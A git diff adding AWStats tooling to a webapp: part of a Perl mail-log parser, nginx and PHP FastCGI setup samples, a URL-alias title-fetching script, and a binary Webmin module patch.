[205.210.42.50] + # postfix: Jul 3 15:32:26 apollon postfix/qmgr[13860]: 08FB63B8A4: from=<nobody@ns3744.ovh.net>, size=3302, nrcpt=1 (queue active) + # postfix: Sep 24 14:45:15 wideboy postfix/qmgr[22331]: 7E0E6196: from=<xxx@hotmail.com>, size=1141 (queue active) + my ($id,$from,$size)=m/\w+\s+\d+\s+\d+:\d+:\d+\s+[\w\-\.\@]+\s+(?:sm-mta|sendmail(?:-in|)|postfix\/qmgr|postfix\/nqmgr)\[\d+\]:\s+(.*?):\s+from=(.*?),\s+size=(\d+)/; + $mailid=$id; + if (! $mail{$id}{'code'}) { $mail{$id}{'code'}=1; } # If not already defined, we define it + if (! $mail{$id}{'from'} || $mail{$id}{'from'} ne '<>') { $mail{$id}{'from'}=$from; } + $mail{$id}{'size'}=$size; + if (m/\s+relay=([^\,]+)[\s\,]/ || m/\s+relay=([^\s\,]+)$/) { $mail{$id}{'relay_s'}=$1; } + debug("For id=$id, found a sendmail/postfix incoming message: from=$mail{$id}{'from'} size=$mail{$id}{'size'} relay_s=".($mail{$id}{'relay_s'}||'')); + } + + # + # Matched exchange message + # + elsif (/^([^\t]+)\t([^\t]+)\t[^\t]+\t([^\t]+)\t([^\t]+)\t([^\t]+)\t[^\t]+\t([^\t]+)\t([^\t]+)\t([^\t]+)\t[^\t]+\t[^\t]+\t([^\t]+)\t[^\t]+\t[^\t]+\t[^\t]+\t[^\t]+\t[^\t]+\t([^\t]+)\t([^\t]+)/) { + # date hour GMT ip_s relay_s partner relay_r ip_r to code id size subject from + # Example: 2003-8-12 0:58:14 GMT 66.218.66.69 n14.grp.scd.yahoo.com - PACKRAT 192.168.1.2 christina@pirnie.org 1019 bh9e3f+5qvo@eGroups.com 0 0 4281 1 2003-8-12 0:58:14 GMT 0 Version: 6.0.3790.0 - [SRESafeHaven] Re: More Baby Stuff jtluvs2cq@wmconnect.com - + $MailType||='exchange'; + my $date=$1; + my $time=$2; + my $relay_s=$3; + my $partner=$4; + my $relay_r=$5; + my $to=$6; $to =~ s/\s/%20/g; + my $code=$7; + my $id=$8; + my $size=$9; + my $subject=&trim($10); + my $from=$11; $from =~ s/\s/%20/g; + $id=sprintf("%s_%s_%s",$id,$from,$to); + # Check if record is significant record + my $ok=0; + + # Code 1031=SMTP End Outbound Transfer + if ($code == 1031) { # This is for external bound mails + $ok=1; + my $savrelay_s=$relay_s; + $relay_s=$relay_r; $relay_r=$savrelay_s; + #$relay_s=$relay_r; + #$relay_r=$partner; + $code=1; + } + # Code 1028=SMTP Store Driver: Message Delivered Locally to Store + if ($code == 1028) { # This is for local bound mails + $code=1; + $ok=1; + } + # Code 1030=SMTP: Non-Delivered Report (NDR) Generated + if ($code == 1030) { # This is for errors. + $code=999; + $ok=1; + } + + if ($ok && !$mail{$id}{'code'} ) { + $mailid=$id; + if ($date =~ /(\d+)-(\d+)-(\d+)/) { + $mail{$id}{'year'}=sprintf("%02s",$1); + $mail{$id}{'mon'}=sprintf("%02s",$2); + $mail{$id}{'day'}=sprintf("%02s",$3); + } + if ($time =~ /^(\d+):(\d+):(\d+)/) { + $mail{$id}{'time'}=sprintf("%02s:%02s:%02s",$1,$2,$3); + } + if ( $from eq '<>' && $subject =~ /^Delivery\s+Status/) { + $from='postmaster@localhost'; + } + $mail{$id}{'from'}=$from; + $mail{$id}{'to'}=$to; + $mail{$id}{'code'}=$code; + $mail{$id}{'size'}=$size; + $mail{$id}{'relay_s'}=$relay_s; + $mail{$id}{'relay_r'}=$relay_r; + debug("For id=$id, found an exchange message: year=$mail{$id}{'year'} mon=$mail{$id}{'mon'} day=$mail{$id}{'day'} time=$mail{$id}{'time'} from=$mail{$id}{'from'} to=$mail{$id}{'to'} size=$mail{$id}{'size'} code=$mail{$id}{'code'} relay_s=$mail{$id}{'relay_s'} relay_r=$mail{$id}{'relay_r'}"); + } + } + + # + # Matched sendmail or postfix "to" message + # + elsif (/: to=.*stat(us)?=sent/i) { + # Example: + # postfix: Jan 01 07:27:38 apollon postfix/local[1689]: 2BC793B8A4: to=<jo@jo.com>, orig_to=<webmaster@toto.com>, relay=local, delay=6, status=sent ("|/usr/bin/procmail") + my ($mon,$day,$time,$id,$to)=m/(\w+)\s+(\d+)\s+(\d+:\d+:\d+)\s+[\w\-\.\@]+\s+(?:sm-mta|sendmail(?:-out|)|postfix\/(?:local|lmtp|smtpd|smtp|virtual|pipe))\[.*?\]:\s+(.*?):\s+to=(.*?),/; + $mailid=$id; + $mail{$id}{'code'}='1'; + if (m/\s+relay=([^\s,]*)[\s,]/) { $mail{$id}{'relay_r'}=$1; } + elsif (m/\s+mailer=local/) { $mail{$id}{'relay_r'}='localhost'; } + if (m/forwarded as/) { + # If 'forwarded as idnewmail' is found, we discard this mail to avoid counting it twice + debug("For id=$id, mail was forwarded to other id, we discard it"); + delete $mail{$id}; + } + ########################################### + elsif (m/\s*dsn=2.6.0\s*/) { + # if the DSN is not 2.0.0, we discard this mail to avoid counting it twice + # postfix: Aug 29 19:22:38 example postfix/smtp[1347]: D989FD6C302: to=<webmaster@example.com>, relay=127.0.0.1[127.0.0.1]:10024, delay=2.9, delays=0.31/0.01/0/2.6, dsn=2.6.0, status=sent (250 2.6.0 Ok, id=01182-01, from MTA([127.0.0.1]:10025): 250 2.0.0 Ok: queued as 995DCD6C315) + debug("For id=$id, mail DSN is not 2.0.0, we discard it"); + delete $mail{$id}; + } + ########################################### + else { + if (m/\s+orig_to=([^\s,]*)[\s,]/) { + # If we have a orig_to, we used it as receiver + $mail{$id}{'to'}=&trim($1); + $mail{$id}{'forwardedto'}=&trim($to); + } + else { + $mail{$id}{'to'}=&trim($to); + } + $mail{$mailid}{'year'}=$year; ### <CJK>### + $mail{$id}{'mon'}=$mon; + $mail{$id}{'day'}=$day; + $mail{$id}{'time'}=$time; + debug("For id=$id, found a sendmail/postfix record: mon=$mail{$id}{'mon'} day=$mail{$id}{'day'} time=$mail{$id}{'time'} to=$mail{$id}{'to'} relay_r=$mail{$id}{'relay_r'}"); + } + } + + # + # Matched qmail "to" record + # + elsif (/starting delivery/) { + # Example: Sep 14 09:58:09 gandalf qmail: 1063526289.574100 starting delivery 251: msg 270182 to local spamreport@john.do + # Example: 2003-09-27 11:22:07.039237500 starting delivery 3714: msg 163844 to local name_also_removed@maildomain.com + $MailType||='qmail'; + my ($yea,$mon,$day,$time,$delivery,$id,$relay_r,$to)=(); + ($mon,$day,$time,$delivery,$id,$relay_r,$to)=m/^(\w+)\s+(\d+)\s+(\d+:\d+:\d+)\s+.*\s+\d+(?:\.\d+)?\s+starting delivery (\d+):\s+msg\s+(\d+)\s+to\s+(.*)?\s+(.*)$/; + if (! $id) { ($yea,$mon,$day,$time,$delivery,$id,$relay_r,$to)=m/^(\d+)-(\d+)-(\d+)\s+(\d+:\d+:\d+).*\s+starting delivery (\d+):\s+msg\s+(\d+)\s+to\s+(.*)?\s+(.*)$/; } + $mailid=$id; + if ($relay_r eq 'local') { $mail{$id}{'relay_r'}='localhost'; } + elsif (m/\s+relay=([^\s,]*)[\s,]/) { $mail{$id}{'relay_r'}=$1; } + elsif (m/\s+mailer=local/) { $mail{$id}{'relay_r'}='localhost'; } + $qmaildelivery{$delivery}=$id; # Save mail id for this delivery to be able to get error code + if ($yea) { $mail{$id}{'year'}=$yea; } + $mail{$id}{'mon'}=$mon; + $mail{$id}{'day'}=$day; + $mail{$id}{'time'}=$time; + $mail{$id}{'to'}{$delivery}=&trim($to); + debug("For id=$id, found a qmail 'start delivery' record: year=".($mail{$id}{'year'}||'')." mon=$mail{$id}{'mon'} day=$mail{$id}{'day'} time=$mail{$id}{'time'} to=$mail{$id}{'to'}{$delivery} relay_r=".($mail{$id}{'relay_r'}||'')." delivery=$delivery"); + } + + # + # Matched qmail status code record + # + elsif (/delivery (\d+): (\w+):/) { + # Example: Sep 14 09:58:09 gandalf qmail: 1063526289.744259 delivery 251: success: did_0+0+1/ + # Example: 2003-09-27 11:22:07.070367500 delivery 3714: success: did_1+0+0/ + $MailType||='qmail'; + my ($delivery,$code)=($1,$2); + my $id=$qmaildelivery{$delivery}; + $mailid=$id; + if ($code =~ /success/i) { $mail{$id}{'code'}{$delivery}=1; } + elsif ($code =~ /deferral/i) { $mail{$id}{'code'}{$delivery}=999; } + else { $mail{$id}{'code'}{$delivery}=999; } + debug("For id=$qmaildelivery{$delivery}, found a qmail 'delivery' record: delivery=$delivery code=$mail{$id}{'code'}{$delivery}"); + } + # + # Matched qmail end of mail record + # + elsif (/end msg (\d+)/ && scalar %{$mail{$1}{'to'}}) { # If records for mail id are finished and still mails with no delivery status + # Example: Sep 14 09:58:12 gandalf qmail: 1063526292.782444 end msg 270182 + $MailType||='qmail'; + my ($id)=($1); + $mailid=$id; + foreach my $delivery (keys %{$mail{$mailid}{'to'}}) { $mail{$id}{'code'}{$delivery}||=1; } + debug("For id=$id, found a qmail 'end msg' record. This replace 'delivery' record for delivery=".join(',',keys %{$mail{$id}{'code'}})); + } + # + # Matched MDaemon log file record + # + elsif (/^\"(\d\d\d\d)-(\d\d)-(\d\d) (\d\d:\d\d:\d\d)\",\"[^\"]*\",(\w+),\d+,\"([^\"]*)\",\"([^\"]*)\",\"([^\"]*)\",\"[^\"]*\",\"([^\"]*)\",\"([^\"]*)\",\"([^\"]*)\",(-?[\.\d]+),(\d+),(\d+)/) { + # Example: "2003-11-06 00:00:42","2003-11-06 00:00:45",SMTPI,9443,"dillon_fm@aaaaa.net","cpeltier@domain.com","","","10.0.0.16","","",0,4563,1 + $MailType||='mdaemon'; + my ($id)=($numrecord); + if ($5 eq 'SMTPI' || $5 eq 'SMTPO') { + $mail{$id}{'year'}=$1; + $mail{$id}{'mon'}=$2; + $mail{$id}{'day'}=$3; + $mail{$id}{'time'}=$4; + $mail{$id}{'direction'}=($5 eq 'SMTPI'?'in':'out'); + $mail{$id}{'from'}=$6; + $mail{$id}{'to'}=$7||$8; + if ($5 eq 'SMTPI') { + $mail{$id}{'relay_s'}=$9; + $mail{$id}{'relay_r'}='-'; + } + if ($5 eq 'SMTPO') { + $mail{$id}{'relay_s'}=$9; + $mail{$id}{'relay_r'}='-'; + } + $mail{$id}{'code'}=1; + $mail{$id}{'size'}=$13; + $mail{$id}{'extinfo'}="?virus=$10&rbl=$11&heuristicspam=$12&ssl=$14"; + $mail{$id}{'extinfo'}=~s/\s/_/g; + $mailid=$id; + } + } + + + # + # Write record if all required data were found + # + if ($mailid) { + my $code; my $to; + my $delivery=0; + my $canoutput=0; + + debug("ID:$mailid RELAY_S:".($mail{$mailid}{'relay_s'}||'')." RELAY_R:".($mail{$mailid}{'relay_r'}||'')." FROM:".($mail{$mailid}{'from'}||'')." TO:".($mail{$mailid}{'to'}||'')." CODE:".($mail{$mailid}{'code'}||'')); + + # Check if we can output a mail line + if ($MailType eq 'qmail') { + if ($mail{$mailid}{'code'} && scalar %{$mail{$mailid}{'code'}}) { + # This is a hash variable + foreach my $key (keys %{$mail{$mailid}{'code'}}) { + $delivery=$key; + $code=$mail{$mailid}{'code'}{$key}; + $to=$mail{$mailid}{'to'}{$key}; + } + $canoutput=1; + } + } + elsif ($MailType eq 'mdaemon') { + $code=$mail{$mailid}{'code'}; + $to=$mail{$mailid}{'to'}; + $canoutput=1; + } + else { + $code=$mail{$mailid}{'code'}; + $to=$mail{$mailid}{'to'}; + if ($mail{$mailid}{'from'} && $mail{$mailid}{'to'}) { $canoutput=1; } + if ($mail{$mailid}{'from'} && $mail{$mailid}{'code'} > 1) { $canoutput=1; } + if ($mailid && $mail{$mailid}{'code'} > 1) { $canoutput=1; } + } + + # If we can + if ($canoutput) { + &OutputRecord($mail{$mailid}{'year'}?$mail{$mailid}{'year'}:$year,$mail{$mailid}{'mon'},$mail{$mailid}{'day'},$mail{$mailid}{'time'},$mail{$mailid}{'from'},$to,$mail{$mailid}{'relay_s'},$mail{$mailid}{'relay_r'},$code,$mail{$mailid}{'size'},$mail{$mailid}{'forwardto'},$mail{$mailid}{'extinfo'}); + # Delete mail with generic unknown id (This id can by used by another mail) + if ($mailid eq '999') { + debug(" Delete mail for id=$mailid",3); + delete $mail{$mailid}; + } + # Delete delivery instance for id if qmail (qmail can use same id for several mails with multiple delivery) + elsif ($MailType eq 'qmail') { + debug(" Delete delivery instances for mail id=$mailid and delivery id=$delivery",3); + if ($delivery) { + delete $mail{$mailid}{'to'}{$delivery}; + delete $mail{$mailid}{'code'}{$delivery}; + } + } + + # We flush %mail if too large + if (scalar keys %mail > $NBOFENTRYFOFLUSH) { + debug("We reach $NBOFENTRYFOFLUSH records in %mail, so we flush mail hash array"); + #foreach my $id (keys %mail) { + # debug(" Delete mail for id=$id",3); + # delete $mail{$id}; + #} + %mail=(); + %qmaildelivery=(); + } + + } + } + else { + debug("Not interesting row"); + } + +} + +#foreach my $key (keys %mail) { +# print ".$key.$mail{$key}{'to'}.\n"; +#} + +0; diff --git a/src/main/webapp/monitoramento/tools/nginx/README.txt b/src/main/webapp/monitoramento/tools/nginx/README.txt new file mode 100644 index 0000000..833ae40 --- /dev/null +++ b/src/main/webapp/monitoramento/tools/nginx/README.txt @@ -0,0 +1,2 @@ +This directory contains samples files to setup a NGinx server to +use AWStats with. \ No newline at end of file diff --git a/src/main/webapp/monitoramento/tools/nginx/awstats-fcgi.php b/src/main/webapp/monitoramento/tools/nginx/awstats-fcgi.php new file mode 100644 index 0000000..f14ade3 --- /dev/null +++ b/src/main/webapp/monitoramento/tools/nginx/awstats-fcgi.php @@ -0,0 +1,37 @@ +<?php +$descriptorspec = array( + 0 => array('pipe', 'r'), // stdin is a pipe that the child will read from + 1 => array('pipe', 'w'), // stdout is a pipe that the child will write to + 2 => array('pipe', 'w') // stderr is a file to write to +); + +$newenv = $_SERVER; +$newenv['SCRIPT_FILENAME'] = $_SERVER['X_SCRIPT_FILENAME']; +$newenv['SCRIPT_NAME'] = $_SERVER['X_SCRIPT_NAME']; + +if (is_executable($_SERVER['X_SCRIPT_FILENAME'])) { + $process = proc_open($_SERVER['X_SCRIPT_FILENAME'], $descriptorspec, $pipes, NULL, $newenv); + + if (is_resource($process)) { + fclose($pipes[0]); + $head = fgets($pipes[1]); + + while (strcmp($head, "\n")) { + header($head); + $head = fgets($pipes[1]); + } + + fpassthru($pipes[1]); + fclose($pipes[1]); + fclose($pipes[2]); + + $return_value = proc_close($process); + } else { + header('Status: 500 Internal Server Error'); + echo('Internal Server Error'); + } +} else { + header('Status: 404 Page Not Found'); + echo('Page Not Found'); +} +?> \ No newline at end of file diff --git a/src/main/webapp/monitoramento/tools/nginx/awstats-nginx.conf b/src/main/webapp/monitoramento/tools/nginx/awstats-nginx.conf new file mode 100644 index 0000000..f7b9224 --- /dev/null +++ b/src/main/webapp/monitoramento/tools/nginx/awstats-nginx.conf @@ -0,0 +1,44 @@ +server { + listen 127.0.0.1:80; + server_name localhost; + access_log /var/log/nginx/localhost.access_log main; + error_log /var/log/nginx/localhost.error_log info; + root /var/www/localhost/htdocs; + index index.html; + + # Restrict access + #auth_basic "Restricted"; + #auth_basic_user_file /etc/awstats/htpasswd; + + + # Static awstats files: HTML files stored in DOCUMENT_ROOT/awstats/ + location /awstats/classes/ { + alias /usr/share/awstats/wwwroot/classes/; + } + + location /awstats/css/ { + alias /usr/share/awstats/wwwroot/css/; + } + + location /awstats/icon/ { + alias /usr/share/awstats/wwwroot/icon/; + } + + location /awstats-icon/ { + alias /usr/share/awstats/wwwroot/icon/; + } + + location /awstats/js/ { + alias /usr/share/awstats/wwwroot/js/; + } + + # Dynamic stats. + location ~ ^/cgi-bin/(awredir|awstats)\.pl { + gzip off; + fastcgi_pass 127.0.0.1:9000; + fastcgi_param SCRIPT_FILENAME /usr/share/awstats/wwwroot/cgi-bin/fcgi.php; + fastcgi_param X_SCRIPT_FILENAME /usr/share/awstats/wwwroot$fastcgi_script_name; + fastcgi_param X_SCRIPT_NAME $fastcgi_script_name; + include fastcgi_params; + } +} diff --git a/src/main/webapp/monitoramento/tools/urlaliasbuilder.pl b/src/main/webapp/monitoramento/tools/urlaliasbuilder.pl new file mode 100644 index 0000000..d98f83d --- /dev/null +++ b/src/main/webapp/monitoramento/tools/urlaliasbuilder.pl @@ -0,0 +1,318 @@ +#!/usr/bin/perl +#------------------------------------------------------- +# Small script to auto-generate URL Alias files for 5.2+ AWStats +# Requires two Perl modules below. +# From original title-grabber.pl file +# (Feedback/suggestions to: simonjw@users.sourceforge.net) +# Modified by eldy@users.sourceforge.net +# +# Note: If you want to retrieve document titles over SSL you must have OpenSSL and +# the Net::SSL(eay) Perl Module available. This code will check that SSL is +# supported before attempting to retrieve via it. +#------------------------------------------------------- +use LWP::UserAgent; + +use strict;no strict "refs"; + + +# variables, etc +my $REVISION='$Revision: 1.8 $'; $REVISION =~ /\s(.*)\s/; $REVISION=$1; +my $VERSION="1.0 (build $REVISION)"; + +############### EDIT HERE ############### + +# you can set this manually if you will only grep one site +my $SITECONFIG = ""; + +# Where the default input is located. +my $awStatsDataDir = "/var/lib/awstats"; + +# Throttle HTTP requests - help avoid DoS-like results if on a quick network. +# Number is the number of seconds to pause between requests. Set to zero for +# no throttling. +my $throttleRequestsTime = 0; + +# LWP settings +# UA string passed to server. You should add this to SkipUserAgents in the +# awstats.conf file if you want to ignore hits from this code. +my $userAgent = "urlaliasbuilder/$VERSION"; +# Put a sensible e-mail address here +my $spiderOwner = "spider\@mydomain.com"; + +# Timeout (in seconds) for each HTTP request (increase on slow connections) +my $getTimeOut = 2; +# Proxy server to use when doing http/s - leave blank if you don't have one +#my $proxyServer = "http://my.proxy.server:port/"; +my $proxyServer = ""; +# Hosts not to use a proxy for +my @hostsNoProxy = ("host1","host1.my.domain.name"); +# Make sure we don't download multi-megabyte files! We need only head section +my $maxDocSizeBytes = 4096; # number is bytes + +############### DON'T EDIT BELOW HERE ############### + +# Don't edit these +my $FILEMARKER1 = "BEGIN_SIDER"; +my $FILEMARKER2 = "END_SIDER"; + +my ($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst) = localtime(time); + +my $fullMonth = sprintf("%02d",$mon+1); +my $fullYear = sprintf("%04d",$year+1900); + + +# ====== main ====== + +# Change default value if options are used +my $helpfound=0; +my $nohosts=0; +my $overwritedata=0; +my $hostname=""; +my $useHTTPS=0; + +# Data file to open +my $fileToOpen = $awStatsDataDir . "/awstats" . $fullMonth . $fullYear . ($SITECONFIG?".$SITECONFIG":"") . ".txt"; +# URL Alias file to open +my $urlAliasFile = "urlalias" . ($SITECONFIG?".$SITECONFIG":"") . ".txt"; + +for (0..@ARGV-1) { + if ($ARGV[$_] =~ /^-*urllistfile=([^\s&]+)/i) { $fileToOpen="$1"; next; } + if ($ARGV[$_] =~ /^-*urlaliasfile=([^\s&]+)/i) { $urlAliasFile="$1"; next; } + if ($ARGV[$_] =~ /^-*site=(.*)/i) { $hostname="$1"; next; } + if ($ARGV[$_] =~ /^-*h/i) { $helpfound=1; next; } + if ($ARGV[$_] =~ /^-*overwrite/i) { $overwritedata=1; next; } + if ($ARGV[$_] =~ /^-*secure/i) { $useHTTPS=1; next; } +} + +# if no host information provided, we bomb out to usage +if(! $hostname && ! $SITECONFIG) { $nohosts=1; } + +# if no hostname set (i.e. -site=) then we use the config value +if(! $hostname && $SITECONFIG) { $hostname=$SITECONFIG; } + +# Show usage help +my $DIR; my $PROG; my $Extension; +($DIR=$0) =~ s/([^\/\\]*)$//; ($PROG=$1) =~ s/\.([^\.]*)$//; $Extension=$1; +if ($nohosts || $helpfound || ! @ARGV) { + print "\n----- $PROG $VERSION -----\n"; + print ucfirst($PROG)." generates an 'urlalias' file from an input file.\n"; + print "The input file must contain a list of URLs (It can be an AWStats history file).\n"; + print "For each of thoose URLs, the script get the corresponding HTML page and catch the\n"; + print "header information (title), then it writes an output file that contains one line\n"; + print "for each URLs and several fields:\n"; + print "- The first field is the URL,\n"; + print "- The second is title caught from web page.\n"; + print "This resulting file can be used by AWStats urlalias plugin.\n"; + print "\n"; + print "Usage: $PROG.$Extension -site=www.myserver.com [options]\n"; + print "\n"; + print "The site parameter contains the web server to get the page from.\n"; + print "Where options are:\n"; + print " -urllistfile=Input urllist file\n"; + print " If this file is an AWStats history file then urlaliasbuilder will use the\n"; + print " SIDER section of this file as its input URL's list.\n"; + print " -urlaliasfile=Output urlalias file to build\n"; + print " -overwrite Overwrite output file if exists\n"; + print " -secure Use https protocol\n"; + print "\n"; + print "Example: $PROG.$Extension -site=www.someotherhost.com\n"; + print "\n"; + print "This is default configuration used when no option are provided on command line:\n"; + print "Input urllist file: $fileToOpen (overwritten by -urllistfile option)\n"; + print "Output urlalias file: $urlAliasFile (overwritten by -urlaliasfile option)\n"; + print "\n"; + print "This script was written from Simon Waight original works title-grabber.pl.\n"; + print "\n"; + exit 0; +} + +my @archivedKeys=(); +my $counter = 0; +my $pageTitle = ""; + +# only read the alias file if we want to do a comparison +# and append new items only (i.e. not overwrite) +if($overwritedata == 0) { + open(FILE,$urlAliasFile); + my @bits = (); + while(<FILE>) { + chomp $_; s/\r//; + @bits=split(/\t/,$_); + @archivedKeys[$counter]=@bits[0]; + $counter++; + #print "key: " . @bits[0] . "\n"; + } + close(FILE); + @bits = (); +} + +# open input file (might be an AWStats history data file) +print "Reading input file: $fileToOpen\n"; +open(FILE,$fileToOpen) || die "Error: Can't open input urllist file $fileToOpen"; +binmode FILE; + +my @field=(); +my @addToAliasFile=(); +my $addToAliasFileCount=0; +my $isawstatshistoryfile=0; +while (<FILE>) { + chomp $_; s/\r//; + + if ($_ =~ /^AWSTATS DATA FILE/) { + print "This file looks like an AWStats history file. Searching URLs list...\n"; + $isawstatshistoryfile=1; + } + + # Split line out into fields + @field=split(/\s+/,$_); + if (! $field[0]) { next; } + + # If we're at the start of the URL section of file + if (! $isawstatshistoryfile || $field[0] eq $FILEMARKER1) { + + $_=<FILE>; + chomp $_; s/\r//; + + my @field=split(/\s+/,$_); + my $count=0; + my $matched = 0; + while ($field[0] ne $FILEMARKER2) { + if ($field[0]) { + # compare awstats data entry against urlalias entry + # only if we don't just want to write current items + # to the file (i.e. overwrite) + if($overwritedata == 0) { + foreach my $key (@archivedKeys) { + if($field[0] eq $key) { + $matched = 1; + last; + } + } + # it's a new URL, so add to list of items to retrieve + if($matched == 0) { + @addToAliasFile[$addToAliasFileCount] = $field[0]; + $addToAliasFileCount++; + #print "new: " . $field[0] . "\n" + } + $matched = 0; + } else { + # no comparison, so everything is 'new' + @addToAliasFile[$addToAliasFileCount] = $field[0]; + $addToAliasFileCount++; + } + } + $_=<FILE>; + chomp $_; s/\r//; + @field=split(/\s+/,$_); + } + } +} + +close(FILE); + +if($addToAliasFileCount == 0) { + print "Found no new documents.\n\n" ; + exit(); +} + +print "Found " . $addToAliasFileCount . " new documents with no alias.\n"; + +my $fileOutput = ""; + +print "Looking thoose pages on web site '$hostname' to get alias...\n"; + +# Create a user agent (browser) object +my $ua = new LWP::UserAgent; +# set user agent name +$ua->agent($userAgent); +# set user agents owners e-mail address +$ua->from($spiderOwner); +# set timeout for requests +$ua->timeout($getTimeOut); +if ($proxyServer) { + # set proxy for access to external sites + $ua->proxy(["http","https"],$proxyServer); + # avoid proxy for these hosts + $ua->no_proxy(@hostsNoProxy); +} +# set maximum size of document to retrieve (in bytes) +$ua->max_size($maxDocSizeBytes); +if(!($ua->is_protocol_supported('https')) && $useHTTPS) { + print "SSL is not supported on this machine.\n\n"; + exit(); +} + +$fileOutput = ""; + +# Now lets build the contents to write (or append) to urlalias file +foreach my $newAlias (@addToAliasFile) { + sleep $throttleRequestsTime; + my $newAliasEntry = &Generate_Alias_List_Entry($newAlias); + $fileOutput .= $newAliasEntry . "\n"; +} + +# write the data back to urlalias file +if (! $overwritedata) { + # Append to file + open(FILE,">>$urlAliasFile") || die "Error: Failed to open file for writing: $_\n\n"; + print FILE $fileOutput; + close(FILE); +} else { + # Overwrite the file + open(FILE,">$urlAliasFile") || die "Error: Failed to open file for writing: $_\n\n"; + foreach my $newAlias (@addToAliasFile) { + my $newAliasEntry = &Generate_Alias_List_Entry($newAlias); + print FILE "$newAliasEntry\n"; + } + close(FILE); +} +print "File $urlAliasFile created/updated.\n"; + +exit(); + +#--------------------------- End of Main ----------------------------- + + +# +# Generate new lines for urlalias file by doing a http get using data +# supplied. +# +sub Generate_Alias_List_Entry { + + # take in the path & document + my $urltoget = shift; + + my $urlPrefix = "http://"; + + if($useHTTPS) { + $urlPrefix = "https://"; + } + + my $AliasLine = ""; + $pageTitle = ""; + $AliasLine = $urltoget; + $AliasLine .= "\t"; + + # build a full HTTP request to pass to user agent + my $fullurltoget = $urlPrefix . $hostname . $urltoget; + + # Create a HTTP request + print "Getting page $fullurltoget\n"; + + my $req = new HTTP::Request GET => $fullurltoget; + + # Pass request to the user agent and get a response back + my $res = $ua->request($req); + + # Parse returned document for page title + if ($res->is_success()) { + $pageTitle = $res->title; + } else { + print "Failed to get page: ".$res->status_line."\n"; + $pageTitle = "Unknown Title"; + } + if ($pageTitle eq "") { + $pageTitle = "Unknown Title"; + } + return $AliasLine . $pageTitle; +} diff --git a/src/main/webapp/monitoramento/tools/webmin/awstats-1.9.wbm b/src/main/webapp/monitoramento/tools/webmin/awstats-1.9.wbm new file mode 100644 index 0000000000000000000000000000000000000000..e2946f09edc62aa29738301af4540040b4085da9 GIT binary patch literal 184320 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 